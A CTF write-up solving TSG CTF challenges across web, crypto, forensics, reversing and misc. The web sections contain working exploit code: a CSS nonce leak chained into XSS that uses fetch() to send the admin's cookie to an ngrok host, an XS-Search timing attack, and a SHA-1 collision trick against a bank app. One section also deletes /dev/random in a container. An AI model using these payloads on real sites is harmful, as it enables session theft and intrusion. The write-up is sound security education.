# TSG CTF write-up (NaruseJun)
Japanese version: https://hackmd.io/s/rk-iwwpo4
## Sanity Check (Warmup 100pts)
![](https://i.imgur.com/5tZ9Qqb.png)
## BADNONCE Part 1 (Web 247pts)
CSS injection and XSS.
FLAG is in admin's cookie.
Injecting evil css containing attribute-selector, we can steal `nonce` attribute of `script` tag.
```html
<script nonce=<?= $nonce ?>>
console.log('Welcome to the dungeon :-)');
</script>
```
With a nonce, we can inject XSS code and bypass CSP restriction, because the nonce used multiple times.
```php
session_start();
$nonce = md5(session_id());
```
Exploit is below:
```php
<?php
if (array_key_exists("save", $_GET)) {
file_put_contents("flag.txt", $_GET["save"] . PHP_EOL, LOCK_EX | FILE_APPEND);
}
else if (array_key_exists("nonce", $_GET)) {
$nonce = file_get_contents("nonce.txt");
if (strlen($nonce) < strlen($_GET["nonce"])) {
file_put_contents("nonce.txt", $_GET["nonce"], LOCK_EX);
}
}
else if (array_key_exists("css", $_GET)) {
header("Content-Type: text/css");
echo("script { display: block }" . PHP_EOL);
$nonce = file_get_contents("nonce.txt");
$chars = str_split("0123456789abcdef");
foreach ($chars as $c1) {
foreach ($chars as $c2) {
$x = $nonce . $c1 . $c2;
echo("[nonce^='" . $x . "'] { background: url(http://cf07fd07.ap.ngrok.io/?nonce=" . $x . ") }" . PHP_EOL);
}
}
}
else if (array_key_exists("go", $_GET)) {
$nonce = file_get_contents("nonce.txt");
if (strlen($nonce) < 32) {
header("Location: http://35.187.214.138:10023/?q=%3Clink%20rel%3D%22stylesheet%22%20href%3D%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fcss%3D" . microtime(true) . "%22%3E");
}
else {
header("Location: http://35.187.214.138:10023/?q=%3Cscript%20nonce%3D%22" . $nonce . "%22%3Efetch(%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fsave%3D%22%20%2B%20encodeURIComponent(document.cookie))%3C%2Fscript%3E");
}
}
else if (array_key_exists("start", $_GET)) {
file_put_contents("nonce.txt", "", LOCK_EX);
file_put_contents("flag.txt", "", LOCK_EX);
?>
<html>
<body>
<script>
setInterval(() => {
const iframe = document.createElement("iframe");
iframe.src = `?go=${(new Date).getTime()}`;
document.body.appendChild(iframe);
}, 256);
</script>
</body>
</html>
<?php
}
else {
echo("E R R O R !");
}
?>
```
Then, report URL of this code.
Admin's browser will execute an evil code and send FLAG to our server.
## Secure Bank (Web 497pts)
SHA-1 collision (SHAttered).
Earn much balance to get the FLAG.
```ruby
get '/api/flag' do
return err(401, 'login first') unless user = session[:user]
hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
row = res.next
balance = row && row[0]
res.close
return err(401, 'login first') unless balance
return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000
json({flag: IO.binread('data/flag.txt')})
end
```
Transferring balance to oneself causes unexpected doubling of balance, but this request is prohibited.
Database retains SHA-1 hashed value of username as an user's ID, but `/api/transfer` compares **username** to check whether the receiver is same as the sender or not.
```ruby
post '/api/transfer' do
return err(401, 'login first') unless src = session[:user]
return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
return err(400, 'bad request') unless amount = params[:amount] and String === amount
return err(400, 'bad request') unless amount = amount.to_i and amount > 0
sleep 1
hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
row = res.next
balance_src = row && row[0]
res.close
return err(422, 'no enough coins') unless balance_src >= amount
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
row = res.next
balance_dst = row && row[0]
res.close
return err(422, 'no such user') unless balance_dst
balance_src -= amount
balance_dst += amount
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst
json({amount: amount, balance: balance_src})
end
```
Therefore, a pair of different usernames which have same SHA-1 hash value breaks this application.
We can easily generate such pair of usernames using SHAttered PDF.
Such like this:
```php
<?php
$s1 = file_get_contents("shattered-1.pdf");
$s2 = file_get_contents("shattered-2.pdf");
$t1 = substr($s1, 0, 320) . "narusejun";
$t2 = substr($s2, 0, 320) . "narusejun";
echo(sha1($t1) . PHP_EOL);
echo(sha1($t2) . PHP_EOL);
function toStr($c) {
$i = ord($c);
if ($c == '"') {
return '\\"';
}
if ($c == '%') {
return '%%';
}
if ($i < 0x20) {
return sprintf("\\u%04x", $i);
}
if ($i < 0x7F) {
return $c;
}
return sprintf("\\x%02x", ord($c));
}
$u1 = implode(array_map(toStr, str_split($t1)));
$u2 = implode(array_map(toStr, str_split($t2)));
echo($u1 . PHP_EOL);
echo($u2 . PHP_EOL);
?>
```
Now, we can double our balance again and again, and obtain a FLAG.
## RECON (Web 500pts)
XS-Searching.
Use XSS Auditor to know admin's secret information.
We can inject arbitrary HTML codes into profile page, but any script will be blocked by CSP.
If we report suspicious user, then admin checks that user's page.
We can embed IFRAME into that page, so we can make admin's browser jump to any URL.
The profile page also have answer for secret question ... as a JavaScript code!
```html
🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=false;" >
🍈 <input type="checkbox" id="melon" onchange="melon.checked=true;" >
🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=true;" >
🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=true;" >
🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" >
🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" >
🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=true;" >
🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" >
🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" >
🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" >
🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" >
🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" >
🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" >
🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" >
🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" >
🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=true;" >
🥔 <input type="checkbox" id="potato" onchange="potato.checked=true;" >
🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=true;" >
🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" >
🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=true;" >
```
In this page, the header `X-XSS-Protection: 1; mode=block` is sent. So XSS Auditor is working as block mode.
XSS Auditor inhibits loading this page with query such like `?onchange="grapes.checked=false;"`.
This behavior is undesirable, because it may be a risk of information leaks.
Then, we made an evil page, which contains two IFRAMEs.
IFRAME loads self-profile page with query, `?onchange="grapes.checked=true;"` and `?onchange="grapes.checked=false;"`.
Measuring loading time of two frames, we are able to know which frame is blocked --- in other words, this is which checkbox is checked.
Exploit script:
```php
<?php
if(array_key_exists("save", $_GET)){
file_put_contents("save.txt", $_GET["save"] . PHP_EOL, FILE_APPEND | LOCK_EX);
echo("OK!");
}else{
?>
<html>
<body>
<script>
function test(key, val){
return new Promise(function(resolve){
const iframe = document.createElement("iframe");
iframe.onload = function(){
iframe.remove();
resolve([key, val, new Date().getTime() - time]);
};
iframe.src = `http://34.97.74.235:10033/profile?onchange="${key}.checked=${val};"`;
const time = new Date().getTime();
document.body.appendChild(iframe);
});
}
(async () => {
const results = [];
for(let i = 0; i < 1; i++){
results.push([
await test("mushroom", true),
await test("mushroom", false),
]);
}
location.href = "?save=" + results;
})();
</script>
</body>
</html>
<?php
}
?>
```
With that information, we can view admin's secret message (FLAG).
## OPQRX (Crypto 497pts)
Fortunately, we know a very similar problem: hxpCTF2017 flea.
When we decide the $k$ lower bits of $p,q$, xor constraints and multiply constraints must be satisfied in the $k$ lower bits.
- $p_k \oplus q_k = X_k = X \bmod 2^k$
- $p_k \times q_k = N_k = N \bmod 2^k$
We hold this constraints and manage DFS to decide bits of $p,q$ from LSB to MSB, one bit by one bit.
The below program will be end in a few minute.
```ruby
X = 95035(...)51960
N = 24746(...)09489
E = 65537
C = 38292(...)05157
def extgcd(a,b)
g,x,y = a,1,0
if b != 0
o = extgcd(b,a%b)
g = o[:g]
x = o[:y]
y = o[:x] - (a/b)*x
end
return {g:g, x:x, y:y}
end
def modinv(a,m)
o = extgcd(a,m)
x = o[:x]
x += m if x < 0
return x
end
BITS = 4096
ansp, ansq = -1, -1
stack = []
stack.push([0,0,0])
cnt = 0
while stack.length > 0
cnt += 1
if cnt % 100000 == 0
puts "cnt=#{cnt}: stack=#{stack.length}"
end
x,y,i = stack.pop
if x*y==N
ansp, ansq = x, y
break
end
next if i==BITS
v = (X>>i) & 1
for dx in [0,1]
for dy in [0,1]
next if (dx^dy) != v
nx = x + (dx<<i)
ny = y + (dy<<i)
msk = (1<<(i+1))-1
next if ((nx*ny)&msk) != (N&msk)
stack.push([nx,ny,i+1])
end
end
end
puts ansp
puts ansq
# ansp = 58349(...)66043
# ansq = 42410(...)83523
D = modinv(E, (ansp-1)*(ansq-1))
F = C.pow(D,N)
puts [F.to_s(16)].pack("H*")
```
`TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}`
## OMEGA (Crypto 500pts)
Chinese Reminder Theorem on $\mathbb Z[\omega]$(Eisenstein Integer).
In this problem, we know add/sub/mul/div/mod operations for Eisenstein Integer, so we use them to reconstruct flag.
Because of my misunderstanding or bugs, some of calculation results go wrong. So we fix them by hand(take one of $u\in\mathbb Z[\omega]$ from six units, then multiply it).
```ruby
require_relative 'params'
def to_complex(x)
a, b = x
w = Math::E ** Complex(0, Math::PI*2.0/3.0)
a + b*w
end
def add(x, y)
a, b = x
c, d = y
[a+c, b+d]
end
def sub(x, y)
a, b = x
c, d = y
[a-c, b-d]
end
def mul(x, y)
a, b = x
c, d = y
[a*c - b*d, a*d + b*c - b*d]
end
def div(x, y)
xc, yc = to_complex(x), to_complex(y)
a, b = (xc / yc).rect
[(a + b/Math.sqrt(3)).round, (b*2.0/Math.sqrt(3)).round]
end
def mod(x, y)
# many times...
100.times do
k = div(x, y)
x = sub(x, mul(k, y))
end
x
end
$units = [[1,0],[-1,0],[0,1],[0,-1],[1,1],[-1,-1]]
def extgcd(a,b)
g = a
x = [1,0]
y = [0,0]
if b != [0,0]
o = extgcd(b,mod(a,b))
g = o[:g]
x = o[:y]
y = sub(o[:x],mul(div(a,b),x))
end
return {g:g, x:x, y:y}
end
def modinv(a,m)
o = extgcd(a,m)
x = o[:x]
return x
end
N = PROBLEM.length
r = [0,0]
m = [1,0]
for i in 0...N
item = PROBLEM[i]
b = item[0]
md = item[1]
o = extgcd(m,md)
g = o[:g]
p = div(o[:x], g)
md = div(md, g)
tmp = mod(mul(sub(b,r),p),md)
if i == 1 || i == 4
tmp = mul(tmp,$units[1]) # ???
end
r = add(r,mul(m,tmp))
m = mul(m,md)
# check
puts "CHECK"
for j in 0..i
print "#{j}=#{PROBLEM[j][0] == mod(r,PROBLEM[j][1])},"
end
puts ""
end
f1,f2 = r
puts [f1.to_s(16)].pack("H*")
puts [f2.to_s(16)].pack("H*")
flag = f1 * (1<<(8*37)) + f2
puts [flag.to_s(16)].pack("H*")
```
```
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDI
NG_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDING_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}
```
## Harekaze (Stego 499pts)
Using Error Level Analysis of [Forensically](https://29a.ch/photo-forensics/), generated a slightly readable image.
![Imgur](https://i.imgur.com/AfK3lah.png)
Then, guessed hard.
## Obliterated File (Forensics 92pts)
We got a git local repository.
Viewing the commits, we detected the commit that contains `flag` file.
So, we checkout this commit.
```
$ git checkout 84128ed
```
Change `main.cr` for output `flag`.
```crystal
require "zlib"
flag = File.open("./flag", "r") do |f|
Zlib::Reader.open(f) do |inflate|
inflate.gets_to_end
end
end
puts flag
```
Execute.
```
$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
```
## Obliterated File Again (Forensics 178pts)
`git gc` was extecuted, so we viewed `.git/packed-refs`.
```
# pack-refs with: peeled fully-peeled sorted
072690c0aaf46bc7875b67d6323b8f8d2074aaca refs/heads/master
1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8 refs/original/refs/heads/master
```
Checkout `1c80e25f`.
```
$ git checkout 1c80e25f
```
After that, the same as Obliterated File.
```
$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}
```
## ffi (Reversing 488pts)
We got a ttf file.
As stated, we tried typing some flags.
![](https://i.imgur.com/7tzRL0a.png)
Typing `TSGCTF{flag}`, it is displayed as `TSGCTF{flag} is incorrect` if `flag` is incorrect.
We opened it by FontForge.
![](https://i.imgur.com/HAArt8K.png)
`glyph346` is displayed as `} is correct`.
`glyph347` is displayed as `} is incorrect`.
Viewing `Element > Font Info > Lookups`, many ligatures are configured.
We've only to get what string is displayed as `is correct` from this configurations.
We used [fonttools](https://github.com/fonttools/fonttools).
```bash
$ pip install fonttools
$ ttx ffi.ttf
```
Search `glyph00346` which is displayed as `} is correct`.
```xml
<Lookup index="51">
<LookupType value="1"/>
<LookupFlag value="0"/>
<!-- SubTableCount=1 -->
<SingleSubst index="0" Format="2">
<Substitution in="a" out="glyph00102"/>
<Substitution in="b" out="glyph00113"/>
<Substitution in="braceright" out="glyph00346"/>
<Substitution in="c" out="glyph00114"/>
:
<Substitution in="z" out="glyph00323"/>
</SingleSubst>
</Lookup>
```
In a certain string, `}` shows `glyph00346`.
We focused on `<Lookup index="51">`, and searched `"51"`.
```xml
<ChainContextSubst index="51" Format="3">
<!-- BacktrackGlyphCount=1 -->
<BacktrackCoverage index="0" Format="1">
<Glyph value="glyph00140"/>
</BacktrackCoverage>
<!-- InputGlyphCount=1 -->
<InputCoverage index="0" Format="2">
<Glyph value="underscore"/>
<Glyph value="a"/>
<Glyph value="b"/>
:
<Glyph value="y"/>
<Glyph value="z"/>
<Glyph value="braceright"/>
</InputCoverage>
<!-- LookAheadGlyphCount=0 -->
<!-- SubstCount=1 -->
<SubstLookupRecord index="0">
<SequenceIndex value="0"/>
<LookupListIndex value="51"/>
</SubstLookupRecord>
</ChainContextSubst>
```
Next, search `glyph00140`.
```xml
<Lookup index="130">
<LookupType value="1"/>
<LookupFlag value="0"/>
<!-- SubTableCount=1 -->
<SingleSubst index="0" Format="2">
<Substitution in="a" out="glyph00103"/>
:
<Substitution in="d" out="glyph00128"/>
<Substitution in="e" out="glyph00140"/>
<Substitution in="f" out="glyph00144"/>
:
<Substitution in="z" out="glyph00324"/>
</SingleSubst>
</Lookup>
```
In a certain string, `e` shows `glyph00140`.
After that, `index="130"`→`glyph00219`(`n`)→...
So we got `TSGCTF{ligature_state_machine}`.
Try typing the flag.
![](https://i.imgur.com/4b5bOjf.png)
## Recorded (Misc 500pts)
Decoded `input` with the following script.
```c
#include <assert.h>
#include <fcntl.h>
#include <linux/input.h>
#include <stdio.h>
#include <sys/time.h>
int main(void)
{
int fd = open("input", O_RDWR);
assert(fd != -1);
for (;;) {
struct input_event event;
assert(read(fd, &event, sizeof(event)) == sizeof(event));
if (event.type == 0x1 && event.value == 0x1) {
switch (event.code) {
case KEY_1:
putchar('1');
break;
case KEY_2:
putchar('2');
break;
case KEY_3:
putchar('3');
break;
case KEY_4:
putchar('4');
break;
case KEY_5:
putchar('5');
break;
case KEY_6:
putchar('6');
break;
case KEY_7:
putchar('7');
break;
case KEY_8:
putchar('8');
break;
case KEY_9:
putchar('9');
break;
case KEY_0:
putchar('0');
break;
case KEY_MINUS:
putchar('-');
break;
case KEY_EQUAL:
putchar('=');
break;
case KEY_Q:
putchar('q');
break;
case KEY_W:
putchar('w');
break;
case KEY_E:
putchar('e');
break;
case KEY_R:
putchar('r');
break;
case KEY_T:
putchar('t');
break;
case KEY_Y:
putchar('y');
break;
case KEY_U:
putchar('u');
break;
case KEY_I:
putchar('i');
break;
case KEY_O:
putchar('o');
break;
case KEY_P:
putchar('p');
break;
case KEY_LEFTBRACE:
putchar('(');
break;
case KEY_RIGHTBRACE:
putchar(')');
break;
case KEY_ENTER:
putchar('\n');
break;
case KEY_A:
putchar('a');
break;
case KEY_S:
putchar('s');
break;
case KEY_D:
putchar('d');
break;
case KEY_F:
putchar('f');
break;
case KEY_G:
putchar('g');
break;
case KEY_H:
putchar('h');
break;
case KEY_J:
putchar('j');
break;
case KEY_K:
putchar('k');
break;
case KEY_L:
putchar('l');
break;
case KEY_SEMICOLON:
putchar(';');
break;
case KEY_APOSTROPHE:
putchar('\'');
break;
case KEY_GRAVE:
putchar('`');
break;
case KEY_BACKSLASH:
putchar('\\');
break;
case KEY_Z:
putchar('z');
break;
case KEY_X:
putchar('x');
break;
case KEY_C:
putchar('c');
break;
case KEY_V:
putchar('v');
break;
case KEY_B:
putchar('b');
break;
case KEY_N:
putchar('n');
break;
case KEY_M:
putchar('m');
break;
case KEY_COMMA:
putchar(',');
break;
case KEY_DOT:
putchar('.');
break;
case KEY_SLASH:
putchar('/');
break;
case KEY_SPACE:
putchar(' ');
break;
case KEY_LEFTSHIFT:
printf("<shift>");
break;
case KEY_TAB:
printf("<tab>");
break;
case KEY_BACKSPACE:
printf("<bs>");
break;
default:
printf("<%d>", event.code);
}
//printf(": %lu\n", event.time.tv_sec);
}
}
close(fd);
}
```
The result was below.
```
rm /dev/ura<tab>
rm /dev/ra<tab>
<shift>lang-c date --utc <shift>. /dev/random
echo nyan <shift>.. /dev/ra<tab>
curl -<shift>o https'//www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand<shift><89>unix.c
637<shift>gd17d621<shift>gd2d603<shift>gdd480<shift>gd30d'wq
vim cr<tab>ra<tab>ra<tab><shift><89>li<tab>
250<shift>gd2d'wq
./co<tab>
make -j 4
cd ..
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 <shift>. key.pem
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fd<bs>g 1
```
Formatted the result, guessing.
```
rm /dev/ura<tab>
rm /dev/ra<tab>
LANG=C date --utc > /dev/random (enter key tv_sec = 1556368668)
echo nyan >> /dev/ra<tab>
curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand_unix.c
637Gd17d621Gd2d603Gdd480Gd30d:wq
vim cr<tab>ra<tab>ra<tab>_li<tab>
250Gd2d:wq
./co<tab>
make -j 4
cd ..
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 > key.pem (enter key tv_sec = 1556368884)
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fg 1
^C
```
With the given `Dockerfile`, built the `problem` image and started a container on it.
In the container, removed `/dev/urandom` and `/dev/random` and recreated `/dev/random` with the following commands.
```shell
# rm /dev/urandom
# rm /dev/random
# LANG=C date --utc --date="@1556368668" > /dev/random
# echo nyan >> /dev/random
```
Following the decoding result, built a modified OpenSSL binary. However, re-modified `get_time_stamp()` in `crypto/rand/rand_unix.c` like that:
```c
static uint64_t get_time_stamp(void)
{
return 1556368884;
}
```
Reading OpenSSL source codes, understood there were 3 factors randomizing the `key.pem` generation, which were `/dev/random`, the generating time and the generating process's ID.
The decoding result tells correct `/dev/random` and the correct generating time, but the correct PID remained unknown.
Therefore, copied `encrypted` into the container, and then did a blute-force attack with the following commands.
```shell
# for ((i = 0; i < 40000; i++)); do LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem && LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey key.pem -in encrypted -out flag-${i}.txt; done
# ls -lS | more
```
Finally, found the flag.
```shell
# cat flag-2936.txt
TSGCTF{openssl_genrsa_is_hardly_predictable}
```